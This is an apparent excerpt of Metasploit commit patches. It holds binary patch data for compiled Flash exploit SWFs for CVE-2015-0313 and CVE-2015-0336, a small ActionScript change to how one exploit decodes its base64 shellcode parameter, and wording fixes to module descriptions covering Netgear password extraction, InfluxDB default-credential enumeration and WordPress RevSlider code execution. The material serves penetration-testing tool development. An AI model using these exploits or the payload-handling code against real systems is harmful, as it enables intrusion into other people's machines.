zh`x@CT=o^t+#T{ZY@!FF1k|4Kf09YWR%B3Ls$O#HfSukhtxXPv0H&|$6iH;2@bpr(Kz*Z-=qeiuv1G#Gei|b2>OA3JJmtzo zYmd$%A7uIQ%@r?QyS}+=rARPma(0ZXw~dGfSY_unI$jYgasrKN5ysr^f6Fq|@;u#u zBmyEhn{?`~mEo8xIQ5^i7`tHHF~u3teH>1~GkiN1B-+SMR4TPhg6PwBaUZ;?IU*hL zEf1Vlvo%s=j6RL20&?Yc@3)p^NSAA>*AE@Lh9H#<^zE<{eX$GC9!v{=NBgPHGwD0F zdU=T!a-1tKRGKl1%em-ve>nni4ivNm#`8ekPq*?E%d|x-KyQ-&`cCl=G9rk~L|@88mu71uJKf5mj=u(aK_DK!Th ztXJcr?T2Bn0nKx2$Q_%<;qoUk0#X3W6g@QcbG|j=%912mV{bE)bwFc?lVE zt?H3|s?GpsngOI`e*}M*o{G}8MXETsED60vO2z~W+t*$Gcd&ZeS`B~|vP_7Y_N}o2 zF4!*r)vxr6D>bv@vG@#zbgCh=Ndmkg!IjycMp0Oxvt|lNtA@gGT%af@8zs$*u{?*q zu4-5?`$(Pc`)yOa$g%t2X`m=Jws5q7BgOk+k2%e7eL2Whf6e1Qj`xB$rPvY~@Wx(} z`(j0tU;C8TQmC{#;$68f5rl!91OK_%R=EzAZAUdugO6Tc^<#ay?DypCusEEj-=9V{p|9ETSVwS<6 z6Uq;da#2-~f044uE81RHb_`oUzL;-*D5D(W&fS(m+*W7AJ_u`T8zh5D?6sGvRe!fuLZ6qb@6FU=Ljt;6NcZ(a3}X5!M1U zBd0N)A;C5A02%mIA5(wr3upn!VsgArOMl$;{%C-8v7H@&hRXQaRs{L> z`k%@W$9Sub!%qE39Q7-ICX09vbP`YlaDGIX^M$pQAFsPQ&XGlXjRy}#H1MKD>00K8 zjeiWK9FJ`hL?Tepz2xDEXt3oqX-u90UZaqW|Lj&&ero70xSdr!l`w87U@tiGj4B>5 zpm+Iog@2K10-gyRDo9(rWmM|;4Gqk1gxsqOUewacO2t=*dxeyCfnY=M-N+R&@F;&a z8kTxHy2%#SQ=1WkM?G6j>YH;R_$<+k63~Rs&^6F0zV*z^&ZV?F$H0d`q zq(P|@TjAYU|Iku#(C6kMHJ+av)v8_KL^{f;TAMSPjHiQdnyxz#^Dycy!sF6gs^HM8 zu74QuI(q(Q)|yVRk`Z1^$}gs00fxhw$XCd|a2Y6~yG$J?Mc(U)UGK5ck9rykS)4`C zQ*T@L=TT8sjH1p^brbK4yFsj!8(|`d16LMUyU)#(@J%!=xgps#<#AFFKvycPfCFtU z{)PqO1cIOEXU8|VBKzxO2ygtGIqr(}3V)m(TMQT^$mQTzX_tSpK{!d)ViD!mYA9o{ zt}Jw3(%rzThI4nTvNyvRrgQha{mv^k;*Z>NZi{pn$7YXU&_)pO1>XIMO2L4k@Nn`v z7;bN)$ThuWi-4Y1aj@!qv&qK(E@?yxnP6kZjMVjYenY=FL~(=@etoDNRV_%QoPSrw zWL#21?JjSPqn) z=%}vk)?$B_T5?hF695n0{o=4xWM*yS%SI$DZ`~m>T>fwRlW>?o=APwDsj=DIkfu`* z!28L&J1GshgfWLk9!4`VMOW=Z1Ak>xg_|c7&_fAprI=vl=@Rg9Y^1z_RT@2rBcZFE z7|)JrTkQU!E!6A-vC}lpzbwK!%cMJQ(s?keV;0Ct&q@Hqvb$yHH)CAeVxm>%SH{m~ zkz)d3S@{CszsvKc(lwrhZfHYQq@&+c{^_O%vT@GBylkufJ{d1$rmr#Y9e+TDsDu{j-Jig&?5>r~vvpL+Iyw;+NU_`|tXM$8 zSUJN-03Hlm0D~QJY-o>a0biW6=BUBbId-&sTVMz=G~Ydc3D9BQlM-JC-V1PlJB}VL zdN9N0@=@Lc${7n1p6)?YEg~5jCGoT|MrPYwzdnD-tF;UB0CTlk diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as index 58ed3d2bb5..b25008234d 100755 --- a/external/source/exploits/CVE-2015-0313/Main.as +++ b/external/source/exploits/CVE-2015-0313/Main.as @@ -39,7 +39,10 @@ public class Main extends Sprite private function mainThread():void { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) payload = b64.toByteArray().toString() ba.length = 0x1000 @@ -204,4 +207,4 @@ public class Main extends Sprite return addr + i } } -} \ No newline at end of file +} From 95b5ff6beab8913caa0204e9712875dff9c0b82d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 26 May 2015 17:00:10 -0500 Subject: [PATCH 0203/1013] Minor fixups on recent modules. Edited modules/auxiliary/admin/http/netgear_soap_password_extractor.rb first landed in #5301, @m-1-k-3's aux module to extract passwords from Netgear soap interfaces Edited modules/auxiliary/scanner/http/influxdb_enum.rb first landed in Edited modules/auxiliary/scanner/http/title.rb first landed in #5333, HTML Title Grabber Edited modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb first landed in #5401, multi-platform CVE-2015-0311 - Flash uncompress() UAF Edited modules/exploits/unix/webapp/wp_revslider_upload_execute.rb first landed in #5290, Wordpress RevSlider Module --- .../auxiliary/admin/http/netgear_soap_password_extractor.rb | 2 +- modules/auxiliary/scanner/http/influxdb_enum.rb | 4 ++-- modules/auxiliary/scanner/http/title.rb | 4 ++-- .../multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 2 +- modules/exploits/unix/webapp/wp_revslider_upload_execute.rb | 6 +++--- 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index 445457777a..f97ae71ee2 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module exploits an authentication bypass vulnerability in different Netgear devices. It allows to extract the password for the remote management interface. This module has been - tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable: + tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable: NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88, NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas), NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz), diff --git a/modules/auxiliary/scanner/http/influxdb_enum.rb b/modules/auxiliary/scanner/http/influxdb_enum.rb index c42f044c57..4e13b6ad46 100644 --- a/modules/auxiliary/scanner/http/influxdb_enum.rb +++ b/modules/auxiliary/scanner/http/influxdb_enum.rb @@ -14,8 +14,8 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'InfluxDB Enum Utility', 'Description' => %q{ - This module enumerates databases on InfluxDB using the REST API - (using default authentication - root:root). + This module enumerates databases on InfluxDB using the REST API using the + default authentication of root:root. }, 'References' => [ diff --git a/modules/auxiliary/scanner/http/title.rb b/modules/auxiliary/scanner/http/title.rb index eda97d9e11..4b573346ae 100644 --- a/modules/auxiliary/scanner/http/title.rb +++ b/modules/auxiliary/scanner/http/title.rb @@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'HTTP HTML Title Tag Content Grabber', 'Description' => %q{ - Generates a GET request to the webservers provided and returns the server header, - HTML title attribute and location header (if set). Useful for rapidly identifying + Generates a GET request to the provided webservers and returns the server header, + HTML title attribute and location header (if set). This is useful for rapidly identifying interesting web applications en mass. }, 'Author' => 'Stuart Morgan ', diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 774ab5ab27..c862ba03d2 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', 'Description' => %q{ - This module exploits an use after free vulnerability in Adobe Flash Player. The + This module exploits a use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This module has been tested successfully on: diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index de36db95df..e5a4994653 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability', 'Description' => %q{ - This module exploits an arbitrary PHP code upload in the WordPress ThemePunch - Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The - vulnerability allows for arbitrary file upload and remote code execution. + This module exploits an arbitrary PHP code upload vulnerability in the + WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95 + and prior. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ From 19c7445d9d94ad64eec6d68200988c9761273e1e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 17:20:49 -0500 Subject: [PATCH 0204/1013] Fix CVE-2015-0336 --- data/exploits/CVE-2015-0336/msf.swf | Bin 18060 -> 18121 bytes external/source/exploits/CVE-2015-0336/Msf.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf index 4a080464a1976c24c6aadb2ed1fad6110bf9983e..97b6ffe99c8b2f00fb4196a19f6bd600601dfc99 100755 GIT binary patch delta 17980 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 